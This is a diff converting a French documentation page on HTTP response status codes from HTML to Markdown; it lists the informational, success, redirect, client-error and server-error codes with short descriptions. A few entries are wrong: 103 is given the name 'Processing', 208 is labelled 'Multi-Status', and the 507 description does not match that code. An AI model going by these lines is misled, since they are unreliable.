-<h2 id="Réponses_derreur_côté_serveur">Réponses d'erreur côté serveur</h2> - -<dl> - <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> - <dd>Le serveur a rencontré une situation qu'il ne sait pas traiter.</dd> - <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> - <dd>La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont <code>GET</code> et <code>HEAD</code>.</dd> - <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> - <dd>Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide.</dd> - <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> - <dd>Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête <code>Retry-After</code> doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache).</dd> - <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> - <dd>Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps.</dd> - <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> - <dd>La version de HTTP utilisée dans la requête n'est pas supportée par le serveur.</dd> - <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> - <dd>Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire.</dd> - <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> - <dd>Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un nœud terminal valable dans le processus de négociation.</dd> - <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> - <dd>Le serveur a détecté une boucle infinie en traitant la requête.</dd> - <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> - <dd>Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête.</dd> - <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> - <dd>Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau.</dd> -</dl> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<ul> - <li><a href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Liste des codes de statut HTTP sur Wikipedia</a></li> - <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">Registre officiel des codes de statut HTTP par l'IANA</a></li> -</ul>
\ No newline at end of file +{{HTTPSidebar}} + +Les codes de statut de réponse HTTP indiquent si une requête [HTTP](/en-US/docs/Web/HTTP) a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: + +1. Les réponses informatives (100 - 199), +2. Les réponses de succès (200 - 299), +3. Les redirections (300 - 399), +4. Les erreurs du client (400 - 499), +5. Les erreurs du serveur (500 - 599). + +## Réponses informatives + +- {{HTTPStatus(100, "100 Continue")}} + - : Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie. +- {{HTTPStatus(101, "101 Switching Protocol")}} + - : Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur. +- {{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}}) + - : Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment. + +## Réponses de succès + +- {{HTTPStatus(200, "200 OK")}} + - : La requête a réussi. Le signification du succès peut varier selon la méthode HTTP : GET : La ressource a été récupérée et est retransmise dans le corps du message. HEAD : Les en-têtes d'entité sont dans le corps du message. POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message. TRACE : Le corps du message contient le message de requête tel que reçu par le serveur +- {{HTTPStatus(201, "201 Created")}} + - : La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT. +- {{HTTPStatus(202, "202 Accepted")}} + - : La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots. +- {{HTTPStatus(203, "203 Non-Authoritative Information")}} + - : Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable. +- {{HTTPStatus(204, "204 No Content")}} + - : Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux. +- {{HTTPStatus(205, "205 Reset Content")}} + - : Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête. +- {{HTTPStatus(206, "206 Partial Content")}} + - : Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux. +- {{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}}) + - : Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés. +- {{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}}) + - : Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection. +- {{HTTPStatus(226, "226 IM Used")}} ([HTTP Delta encoding](https://tools.ietf.org/html/rfc3229)) + - : Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante. + +## Messages de redirection + +- {{HTTPStatus(300, "300 Multiple Choice")}} + - : La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses. +- {{HTTPStatus(301, "301 Moved Permanently")}} + - : Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse. +- {{HTTPStatus(302, "302 Found")}} + - : Ce code de réponse indique que l'URI de la ressource demandée a été modifiée _temporairement_. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures. +- {{HTTPStatus(303, "303 See Other")}} + - : Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET. +- {{HTTPStatus(304, "304 Not Modified")}} + - : Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache. +- {{HTTPStatus(305, "305 Use Proxy")}} + - : A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy. +- {{HTTPStatus(306, "306 unused")}} + - : Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1. +- {{HTTPStatus(307, "307 Temporary Redirect")}} + - : Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code `302 Found`, à l'exception près que l'agent utilisateur _ne doit pas_ changer la méthode HTTP utilisée : si `POST` était utilisé dans la première requête, alors `POST` doit être utilisé dans la seconde. +- {{HTTPStatus(308, "308 Permanent Redirect")}} + - : Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP `Location:`. Ce code a la même sémantique que le code `301 Moved Permanently`, à l'exception près que l'agent utilisateur _ne doit pas_ changer la méthode HTTP utilisée : si `POST` était utilisé dans la première requête, alors `POST` doit être utilisé dans la seconde. + +## Réponses d'erreur côté client + +- {{HTTPStatus(400, "400 Bad Request")}} + - : Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide. +- {{HTTPStatus(401, "401 Unauthorized")}} + - : Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible. +- {{HTTPStatus(402, "402 Payment Required")}} + - : Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement. +- {{HTTPStatus(403, "403 Forbidden")}} + - : Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse. +- {{HTTPStatus(404, "404 Not Found")}} + - : Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web. +- {{HTTPStatus(405, "405 Method Not Allowed")}} + - : La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, `GET` et `HEAD`, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur. +- {{HTTPStatus(406, "406 Not Acceptable")}} + - : Cette réponse est envoyée quand le serveur web, après une [négotiation de contenu géré par le serveur](/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation), ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur. + +<!----> + +- {{HTTPStatus(407, "407 Proxy Authentication Required")}} + - : Similaire au code 401, sauf que l'identification doit être faite par un proxy. +- {{HTTPStatus(408, "408 Request Timeout")}} + - : Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des [mécanismes de préconnexion HTTP](http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/) pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message. +- {{HTTPStatus(409, "409 Conflict")}} + - : Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur. +- {{HTTPStatus(410, "410 Gone")}} + - : Cette réponse est envoyée quand le contenu demandé est supprimé du serveur. +- {{HTTPStatus(411, "411 Length Required")}} + - : Le serveur a rejeté la requête car le champ d'en-tête `Content-Length` n'est pas défini et le serveur l'impose. +- {{HTTPStatus(412, "412 Precondition Failed")}} + - : Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas. +- {{HTTPStatus(413, "413 Payload Too Large")}} + - : L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête `Retry-After`. +- {{HTTPStatus(414, "414 URI Too Long")}} + - : L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter. +- {{HTTPStatus(415, "415 Unsupported Media Type")}} + - : Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête. +- {{HTTPStatus(416, "416 Requested Range Not Satisfiable")}} + - : La plage spécifiée par le champ d'en-tête `Range` de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé. +- {{HTTPStatus(417, "417 Expectation Failed")}} + - : Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête `Expect` n'ont pas pu être satisfaites par le serveur. +- {{HTTPStatus(418, "418 I'm a teapot")}} + - : Le serveur refuse de brasser du café avec une théière. +- {{HTTPStatus(421, "421 Misdirected Request")}} + - : La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête. +- {{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}}) + - : La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques. +- {{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}}) + - : La ressource qui est en train d'être consultée est verrouillée. + +<!----> + +- {{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}}) + - : La requête a échoué à cause de l'échec d'une requête précédente. + +<!----> + +- {{HTTPStatus(426, "426 Upgrade Required")}} + - : Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur _doit_ envoyer un champ `Upgrade` dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) ([Section 6.7 de \[RFC7230\]](https://tools.ietf.org/html/rfc7230#section-6.7)). +- {{HTTPStatus(428, "428 Precondition Required")}} + - : Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit. +- {{HTTPStatus(429, "429 Too Many Requests")}} + - : L'utilisateur a émis trop de requêtes dans un laps temps donné. +- {{HTTPStatus(431, "431 Request Header Fields Too Large")}} + - : Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes. +- {{HTTPStatus(451, "451 Unavailable For Legal Reasons")}} + - : L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement. + +## Réponses d'erreur côté serveur + +- {{HTTPStatus(500, "500 Internal Server Error")}} + - : Le serveur a rencontré une situation qu'il ne sait pas traiter. +- {{HTTPStatus(501, "501 Not Implemented")}} + - : La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont `GET` et `HEAD`. +- {{HTTPStatus(502, "502 Bad Gateway")}} + - : Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide. +- {{HTTPStatus(503, "503 Service Unavailable")}} + - : Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête `Retry-After` doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache). +- {{HTTPStatus(504, "504 Gateway Timeout")}} + - : Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps. +- {{HTTPStatus(505, "505 HTTP Version Not Supported")}} + - : La version de HTTP utilisée dans la requête n'est pas supportée par le serveur. +- {{HTTPStatus(506, "506 Variant Also Negotiates")}} + - : Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire. +- {{HTTPStatus(507, "507 Insufficient Storage")}} + - : Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un nœud terminal valable dans le processus de négociation. +- {{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}}) + - : Le serveur a détecté une boucle infinie en traitant la requête. +- {{HTTPStatus(510, "510 Not Extended")}} + - : Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête. +- {{HTTPStatus(511, "511 Network Authentication Required")}} + - : Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau. + +## Voir aussi + +- [Liste des codes de statut HTTP sur Wikipedia](https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP) +- [Registre officiel des codes de statut HTTP par l'IANA](http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml) |